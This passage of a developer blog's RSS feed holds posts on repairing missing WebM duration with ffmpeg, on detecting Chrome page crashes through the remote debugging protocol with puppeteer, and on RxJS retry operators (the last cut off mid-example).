      alpha_mode      : 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the key: &lt;code&gt;Duration&lt;/code&gt; and &lt;code&gt;bitrate&lt;/code&gt; are both &lt;code&gt;N/A&lt;/code&gt;, which is wrong. I searched &lt;code&gt;webm duration&lt;/code&gt; and found plenty of write-ups.&lt;/p&gt;
&lt;p&gt;The gist is that &lt;code&gt;getUserMedia&lt;/code&gt; and &lt;code&gt;MediaRecorder&lt;/code&gt; do not write &lt;code&gt;Duration&lt;/code&gt; and &lt;code&gt;bitrate&lt;/code&gt; into the webm, which causes this.&lt;/p&gt;
&lt;h2&gt;Solutions&lt;/h2&gt;
&lt;h3&gt;1. Compute duration and assign it to the &lt;code&gt;blob&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The idea is: record a start time on &lt;code&gt;start&lt;/code&gt;, subtract it from now on &lt;code&gt;stop&lt;/code&gt;, and assign that duration to the &lt;code&gt;blob&lt;/code&gt;. See: &lt;a href=&quot;https://github.com/yusitnikov/fix-webm-duration&quot;&gt;fix-webm-duration&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;2. Give the audio element a large duration&lt;/h3&gt;
&lt;p&gt;While playing the webm, you can dynamically give audio a huge duration. This only works in &lt;code&gt;chrome&lt;/code&gt; right now. See: &lt;a href=&quot;https://stackoverflow.com/questions/38443084/how-can-i-add-predefined-length-to-audio-recorded-from-mediarecorder-in-chrome&quot;&gt;How can I add predefined length to audio recorded from MediaRecorder in Chrome?&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;3. Seek to the end, then back to the start&lt;/h3&gt;
&lt;p&gt;As above, once the video has played through, seeking works. So you can just seek with &lt;code&gt;JS&lt;/code&gt;. See: &lt;a href=&quot;https://github.com/common-nighthawk/hello-its-me/blob/master/public/js/message-create.js#L68-L73&quot;&gt;hello-its-me&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;4. Fix it with ffmpeg&lt;/h3&gt;
&lt;p&gt;The first command is: &lt;code&gt;ffmpeg -i rebirth-demo.webm xixi.webm&lt;/code&gt;, but it is slow, not recommended. A 30 second video takes about 3 minutes.&lt;/p&gt;
&lt;p&gt;The second command is: &lt;code&gt;ffmpeg -i rebirth-demo.webm  -vcodec copy -acodec copy new_rebirth-demo.webm&lt;/code&gt;. This is fast, because it copies instead of converting:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;ffmpeg -i rebirth-demo.webm  -vcodec copy -acodec copy new_rebirth-demo.webm
ffmpeg version 4.1.3 Copyright (c) 2000-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags=&apos;-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin&apos; --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from &apos;rebirth-demo.webm&apos;:
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
Output #0, webm, to &apos;new_rebirth-demo.webm&apos;:
  Metadata:
    encoder         : Lavf58.20.100
    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080 [SAR 1:1 DAR 16:9], q=2-31, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
Stream mapping:
  Stream #0:1 -&amp;gt; #0:0 (copy)
  Stream #0:0 -&amp;gt; #0:1 (copy)
Press [q] to stop, [?] for help
frame= 3589 fps=0.0 q=-1.0 Lsize=    2107kB time=00:01:59.92 bitrate= 143.9kbits/s speed=4.75e+03x
video:2053kB audio:16kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 1.849351%

$ ffprobe new_rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags=&apos;-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin&apos; --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from &apos;new_rebirth-demo.webm&apos;:
  Metadata:
    ENCODER         : Lavf58.20.100
  Duration: 00:01:59.96, start: 0.000000, bitrate: 143 kb/s
    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      ALPHA_MODE      : 1
      DURATION        : 00:01:59.928000000
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Metadata:
      DURATION        : 00:01:59.955000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No longer broken.&lt;/p&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;I prefer the last one, because the earlier methods do not actually fix it.&lt;/p&gt;
&lt;p&gt;This is a &lt;strong&gt;Chrome Bug&lt;/strong&gt;. The community is discussing it, but there is still no fix.&lt;/p&gt;
&lt;p&gt;Discussion: &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=642012&quot;&gt;https://bugs.chromium.org/p/chromium/issues/detail?id=642012&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><category>webm</category><category>ffmpeg</category><category>chrome</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Listen for page crashes with the WebKit remote debugging protocol</title><link>https://bugs.cc/posts/webkit-remote-debugging-protocol-listening-crash/</link><guid isPermaLink="true">https://bugs.cc/posts/webkit-remote-debugging-protocol-listening-crash/</guid><description>Detect page crashes using the Chrome remote interface</description><pubDate>Mon, 22 Apr 2019 07:51:25 GMT</pubDate><content:encoded>&lt;h2&gt;Background {#intro}&lt;/h2&gt;
&lt;p&gt;I’m working on a project that uses &lt;code&gt;puppeteer&lt;/code&gt;. One feature opens multiple &lt;code&gt;Tab&lt;/code&gt;s in the Chrome that &lt;code&gt;puppeteer&lt;/code&gt; launched, and manages them.
&lt;code&gt;puppeteer&lt;/code&gt; can open multiple sites, but that isn’t easy to manage, so I used an extension to open and manage the sites.&lt;/p&gt;
&lt;p&gt;I also needed to take some action when a site crashes. I couldn’t find a good way to listen for whether the current site had crashed.&lt;/p&gt;
&lt;p&gt;You might say: doesn’t &lt;code&gt;puppeteer&lt;/code&gt; provide &lt;code&gt;page.on(&apos;error&apos;, fn)&lt;/code&gt; for this?&lt;/p&gt;
&lt;p&gt;Note what I said above: the sites are opened by an extension. &lt;code&gt;puppeteer&lt;/code&gt;’s API only works for pages it opened. For pages not opened by &lt;code&gt;puppeteer&lt;/code&gt;, &lt;code&gt;page.on(&apos;error&apos;, fn)&lt;/code&gt; does nothing.&lt;/p&gt;
&lt;h2&gt;Using Service Workers {#service-workers}&lt;/h2&gt;
&lt;p&gt;This idea came from my coworker &lt;a href=&quot;https://github.com/liubiantao&quot;&gt;Haitao&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Run a &lt;code&gt;Service Workers&lt;/code&gt; on the current site. At runtime &lt;code&gt;Service Workers&lt;/code&gt; start a separate process, so the site and &lt;code&gt;Service Workers&lt;/code&gt; are two processes. When the site crashes, the &lt;code&gt;Service Workers&lt;/code&gt; process is unaffected. You can use a heartbeat to tell if the site crashed.&lt;/p&gt;
&lt;p&gt;There’s also an Alibaba article: &lt;a href=&quot;https://zhuanlan.zhihu.com/p/40273861&quot;&gt;如何监控网页崩溃？&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I didn’t use this approach. If &lt;code&gt;Service Workers&lt;/code&gt; crash, you’re stuck. You might say: have the site and &lt;code&gt;Service Workers&lt;/code&gt; heartbeat each other. That could work, but I don’t like it.&lt;/p&gt;
&lt;h2&gt;Using WebKit’s remote debugging protocol {#remote-debugging}&lt;/h2&gt;
&lt;h3&gt;Introduction {#remote-debugging-intro}&lt;/h3&gt;
&lt;p&gt;Before we start, look at &lt;code&gt;puppeteer&lt;/code&gt; source and why it can listen for page crashes.&lt;/p&gt;
&lt;p&gt;The code is in &lt;code&gt;lib/Page.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Page is a &lt;code&gt;Class&lt;/code&gt; that extends &lt;code&gt;EventEmitter&lt;/code&gt;. &lt;code&gt;EventEmitter&lt;/code&gt; gives &lt;code&gt;page&lt;/code&gt; the &lt;code&gt;on&lt;/code&gt; method, which is &lt;code&gt;page.on(&apos;error&apos;, fn)&lt;/code&gt; from earlier.&lt;/p&gt;
&lt;p&gt;So somewhere in &lt;code&gt;Page Class&lt;/code&gt; it calls &lt;code&gt;this.emit(&apos;error&apos;)&lt;/code&gt; to fire the &lt;code&gt;error event&lt;/code&gt;. I searched and found it in &lt;code&gt;_onTargetCrashed&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/puppeteer-ontargetcrashed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We found the crash trigger. Where is &lt;code&gt;_onTargetCrashed&lt;/code&gt; itself triggered?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/inspector-targetcrashed-listener.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;client&lt;/code&gt; listens for &lt;code&gt;Inspector.targetCrashed&lt;/code&gt;, which calls &lt;code&gt;_onTargetCrashed&lt;/code&gt;. I won’t follow &lt;code&gt;client&lt;/code&gt; further. It jumps around a lot. Just know that &lt;code&gt;client&lt;/code&gt; ends up being a &lt;code&gt;websocket&lt;/code&gt;. The &lt;code&gt;websocket&lt;/code&gt; is created in &lt;code&gt;lib/Launcher.js&lt;/code&gt;. &lt;a href=&quot;https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L169-L179&quot;&gt;Code location&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/launcher-connection-create.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Note these two lines:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const transport = new PipeTransport((chromeProcess.stdio[3]), (chromeProcess.stdio[4]));

connection = new Connection(&apos;&apos;, transport, slowMo);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;chromeProcess&lt;/code&gt; is from &lt;code&gt;nodejs&lt;/code&gt; &lt;code&gt;spawn&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L126-L137&quot;&gt;Code location&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const chromeProcess = childProcess.spawn(
  chromeExecutable,
  chromeArguments,
  {
    detached: process.platform !== &apos;win32&apos;,
    env,
    stdio
  }
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;chromeArguments&lt;/code&gt; is the &lt;code&gt;chrome&lt;/code&gt; launch argument list. It includes &lt;code&gt;--remote-debugging-&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L108-L109&quot;&gt;Code location&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if (!chromeArguments.some(argument =&amp;gt; argument.startsWith(&apos;--remote-debugging-&apos;)))
  chromeArguments.push(pipe ? &apos;--remote-debugging-pipe&apos; : &apos;--remote-debugging-port=0&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s much clearer now. &lt;code&gt;Inspector.targetCrashed&lt;/code&gt; comes from the WebKit remote debugging protocol, i.e. &lt;code&gt;remote debugging protocol&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It’s defined in WebKit’s &lt;code&gt;Inspector.json&lt;/code&gt;: &lt;a href=&quot;https://github.com/WebKit/webkit/blob/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e/Source/WebCore/inspector/Inspector.json#L39-L42&quot;&gt;Source/WebCore/inspector/Inspector.json#L39-L42&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The commit for this &lt;code&gt;event&lt;/code&gt;: &lt;a href=&quot;https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b&quot;&gt;https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Writing the solution {#solution-code}&lt;/h3&gt;
&lt;p&gt;If we can listen for &lt;code&gt;Inspector.targetCrashed&lt;/code&gt;, we know whether the site crashed. Add a launch arg to &lt;code&gt;puppeteer&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;puppeteer.launch({
  args: [
    &apos;--remote-debugging-port=9222&apos;
    // other args
  ]
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;puppeteer&lt;/code&gt; starts, it listens on local port &lt;code&gt;9222&lt;/code&gt;. The path &lt;code&gt;/json&lt;/code&gt; is the current details:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/devtools-json-endpoint.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The format is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;[
  {
    &quot;description&quot;: &quot;&quot;,
    &quot;devtoolsFrontendUrl&quot;: &quot;/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3&quot;,
    &quot;faviconUrl&quot;: &quot;https://s.ytimg.com/yts/img/favicon_32-vflOogEID.png&quot;,
    &quot;id&quot;: &quot;A1CB5A9CC25A7EE8A99C6A4A1876E4D3&quot;,
    &quot;title&quot;: &quot;張三李四 Chang and Lee 【等無此人 Waiting】 - YouTube&quot;,
    &quot;type&quot;: &quot;page&quot;,
    &quot;url&quot;: &quot;https://www.youtube.com/watch?v=lAcUGvpRkig&amp;amp;list=PL3p0C_7POnMHG-b0dzkeTVdNuM6yRE5iQ&amp;amp;index=10&amp;amp;t=0s&quot;,
    &quot;webSocketDebuggerUrl&quot;: &quot;ws://127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3&quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;type&lt;/code&gt; is the current process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;page: web page&lt;/li&gt;
&lt;li&gt;iframe: iframe nested in a page&lt;/li&gt;
&lt;li&gt;background_page: extension page&lt;/li&gt;
&lt;li&gt;service_worker: Service Workers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;type&lt;/code&gt; is useful if you only want to listen for a certain kind of crash.&lt;/p&gt;
&lt;p&gt;There’s a more important field: &lt;code&gt;webSocketDebuggerUrl&lt;/code&gt;. We’ll use it to get messages. A simple demo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const http =  require(&apos;http&apos;);
const WebSocket = require(&apos;ws&apos;);

http.get(&apos;http://127.0.0.1:9222/json&apos;, res =&amp;gt; {
  res.addListener(&apos;data&apos;, data =&amp;gt; {
    const result = JSON.parse(data.toString());
    result.forEach(info =&amp;gt; {
      const client = new WebSocket(info.webSocketDebuggerUrl);
      client.on(&apos;message&apos;, data =&amp;gt; {
        if (data.indexOf(&apos;&quot;method&quot;:&quot;Inspector.targetCrashed&quot;&apos;) !== -1) {
          console.error(&apos;crash!&apos;);
        }
      });
    });
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Understand this first. The later code is easier then. The code is simple enough that I won’t explain it.&lt;/p&gt;
&lt;p&gt;One problem: when the extension opens a site there’s a delay, so some sites may not be listened to. And after this code has run, sites the extension opens later also won’t be listened to. I tightened it up:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const http =  require(&apos;http&apos;);
const WebSocket = require(&apos;ws&apos;);

module.exports = () =&amp;gt; {
  const wsList = {};
  let crashStaus = false;

  const getWsList = () =&amp;gt; {
    return new Promise((resolve) =&amp;gt; {
      http.get(&apos;http://127.0.0.1:9222/json&apos;, res =&amp;gt; {
        res.addListener(&apos;data&apos;, data =&amp;gt; {
          try {
            const result = JSON.parse(data.toString());
            const tempWsList = {};

            result.forEach(info =&amp;gt; {
              if (typeof wsList[info.id] === &apos;undefined&apos;) {
                tempWsList[info.id] = info.webSocketDebuggerUrl;
                wsList[info.id] = info.webSocketDebuggerUrl;
              }
            });

            if (Object.keys(tempWsList).length !== 0) {
              resolve(tempWsList);
            }
          } catch (e) {
            console.error(e);
          }
        });
      });
    });
  };

  setInterval(() =&amp;gt; {
    getWsList().then(list =&amp;gt; {
      Object.values(list).forEach(wsUrl =&amp;gt; {
        const client = new WebSocket(wsUrl);
        client.on(&apos;message&apos;, data =&amp;gt; {
          if (data.indexOf(&apos;&quot;method&quot;:&quot;Inspector.targetCrashed&quot;&apos;) !== -1) {
            if (!crashStaus) {
              crashStaus = true;
              console.log(&apos;crash!!!&apos;);
            }
          }
        });
      })
    });
  }, 1000);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A note on this snippet:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if (!crashStaus) {
  crashStaus = true;
  console.log(&apos;crash!!!&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My requirement is: if any process &lt;code&gt;crash&lt;/code&gt;es, shut down the whole service and restart. If multiple processes &lt;code&gt;crash&lt;/code&gt; at once, I only want this path to run once. That’s specific to my case. Change it to fit yours.&lt;/p&gt;
&lt;h2&gt;References {#references}&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://taobaofed.org/blog/2015/11/20/webkit-remote-debug-test/&quot;&gt;A first look at the WebKit remote debugging protocol&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://fex.baidu.com/blog/2014/06/remote-debugging-protocol/&quot;&gt;Chrome remote debugging protocol: analysis and practice&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>javascript</category><category>nodejs</category><category>webkit</category><category>puppeteer</category><category>chrome</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Error retry in RxJS</title><link>https://bugs.cc/posts/rxjs-error-retry/</link><guid isPermaLink="true">https://bugs.cc/posts/rxjs-error-retry/</guid><description>Retry failed requests with RxJS operators</description><pubDate>Sat, 12 Jan 2019 10:52:05 GMT</pubDate><content:encoded>&lt;h2&gt;Intro {#intro}&lt;/h2&gt;
&lt;p&gt;I recently had a requirement: if a request times out, retry it, and the retry count should be configurable.&lt;/p&gt;
&lt;p&gt;We send requests with &lt;code&gt;Axios&lt;/code&gt;, and the request handling lives in a &lt;code&gt;redux-observable&lt;/code&gt; &lt;code&gt;epic&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There are two ways to implement retry:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add retry code in the &lt;code&gt;Axios&lt;/code&gt; wrapper&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;RxJS&lt;/code&gt; operators in the &lt;code&gt;epic&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Retrying in &lt;code&gt;Axios&lt;/code&gt; is messy. I’d have to add retry into an already wrapped function, which feels wrong and is harder to maintain. So I used &lt;code&gt;RxJS&lt;/code&gt; operators. The code here is a &lt;code&gt;Demo&lt;/code&gt;, not project code, so it’s easier to follow.&lt;/p&gt;
&lt;h2&gt;RxJS error retry operators {#retry-operators}&lt;/h2&gt;
&lt;p&gt;RxJS provides two operators: &lt;code&gt;retry&lt;/code&gt; and &lt;code&gt;retryWhen&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note: on retry, both operators retry the whole &lt;strong&gt;sequence&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Also, &lt;code&gt;retry&lt;/code&gt; and &lt;code&gt;retryWhen&lt;/code&gt; only catch &lt;code&gt;Error&lt;/code&gt;. They don’t really work with &lt;code&gt;Promise&lt;/code&gt;. I’ll cover the workaround later.&lt;/p&gt;
&lt;h3&gt;retry&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;retry&lt;/code&gt; sets how many times to retry. On error, it retries n times. Demo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(1000)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;);
  }
  return val;
}).retry(1)

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/edit?js,console&quot;&gt;Run online&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This emits a number sequence every second. After &lt;code&gt;subscribe&lt;/code&gt;, you get 0 after one second, 1 after two seconds, and so on.&lt;/p&gt;
&lt;p&gt;Each value goes through &lt;code&gt;map&lt;/code&gt;. When the value equals 2, it throws. Otherwise it returns the value unchanged, and it reaches &lt;code&gt;next&lt;/code&gt; in &lt;code&gt;subscribe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retry-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It emits 0 and 1 fine. When val is 2, it throws. &lt;code&gt;retry&lt;/code&gt; catches it and reruns the whole &lt;code&gt;RxJS&lt;/code&gt; sequence. So you see 0 and 1 again. Then 2 again, another error, but &lt;code&gt;retry&lt;/code&gt; has no retries left, so it skips it. &lt;code&gt;error&lt;/code&gt; in &lt;code&gt;subscribe&lt;/code&gt; catches it and prints &lt;code&gt;error&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;retryWhen&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;retry&lt;/code&gt; only sets the retry count. Sometimes you want to log on retry, or do something else. &lt;code&gt;retry&lt;/code&gt; isn’t a good fit then. That’s what &lt;code&gt;retryWhen&lt;/code&gt; is for.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(1000)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;)
  }
  return val;
}).retryWhen(err =&amp;gt; {
  return err
    .do(() =&amp;gt; console.log(&apos;retrying&apos;))
    .delay(2000)
})

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/10/edit?js,console&quot;&gt;Run online&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retrywhen-delay-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The emit logic is about the same. The handling is different.&lt;/p&gt;
&lt;p&gt;We use &lt;code&gt;retryWhen&lt;/code&gt; to control retry. &lt;code&gt;do&lt;/code&gt; prints a string, then &lt;code&gt;delay&lt;/code&gt; waits 2 seconds before retrying.&lt;/p&gt;
&lt;p&gt;This retries forever. There’s no retry limit. The next section covers that.&lt;/p&gt;
&lt;h3&gt;retry + retryWhen&lt;/h3&gt;
&lt;p&gt;So &lt;code&gt;retry&lt;/code&gt; can set the count, and &lt;code&gt;retryWhen&lt;/code&gt; can set the logic.&lt;/p&gt;
&lt;p&gt;What if we want both?&lt;/p&gt;
&lt;p&gt;OK, first look at &lt;code&gt;retryWhen&lt;/code&gt;. If it internally triggers &lt;code&gt;Error&lt;/code&gt; or &lt;code&gt;Completed&lt;/code&gt;, it stops retrying and passes that &lt;code&gt;Error&lt;/code&gt; or &lt;code&gt;Completed&lt;/code&gt; to &lt;code&gt;subscribe&lt;/code&gt;. That’s a bit abstract, so here’s a &lt;code&gt;Demo&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(1000)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;)
  }
  return val;
}).retryWhen(err =&amp;gt; {
  return err
    .scan((acc, curr) =&amp;gt; {
      if (acc &amp;gt; 2) {
        throw curr
      }
      return acc + 1
    }, 1)
})

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/16/edit?js,console&quot;&gt;Run online&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retrywhen-scan-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The emit logic is unchanged. There’s a new operator: &lt;code&gt;scan&lt;/code&gt;. What does it do?&lt;/p&gt;
&lt;p&gt;You can think of &lt;code&gt;scan&lt;/code&gt; as &lt;code&gt;javascript&lt;/code&gt;’s &lt;code&gt;reduce&lt;/code&gt;. It takes two arguments: a callback and a default value. In the code above, the default is 1. First time acc is 1. Second retry, acc is 2. Third retry, acc is 3, which is greater than 2, so the &lt;code&gt;if&lt;/code&gt; is true and it &lt;code&gt;throw&lt;/code&gt;s &lt;code&gt;curr&lt;/code&gt;. &lt;code&gt;curr&lt;/code&gt; is the original error. As I said, if &lt;code&gt;scan&lt;/code&gt; throws &lt;code&gt;Error&lt;/code&gt;, retry stops, &lt;code&gt;subscribe&lt;/code&gt; gets it, &lt;code&gt;error&lt;/code&gt; runs, and it prints &lt;code&gt;error&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Re-throwing after the retry limit is the usual approach, so later operators can handle the error. Some requirements want &lt;code&gt;Completed&lt;/code&gt; instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(200)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;)
  }
  return val;
}).retryWhen(err =&amp;gt; {
  return err
    .scan((acc, curr) =&amp;gt; {
      return acc + 1
    }, 0)
    .takeWhile(v =&amp;gt; v &amp;lt;= 2)
})

example.subscribe({
  complete: () =&amp;gt; console.log(&apos;Completed&apos;),
  next: val =&amp;gt; console.log(val),
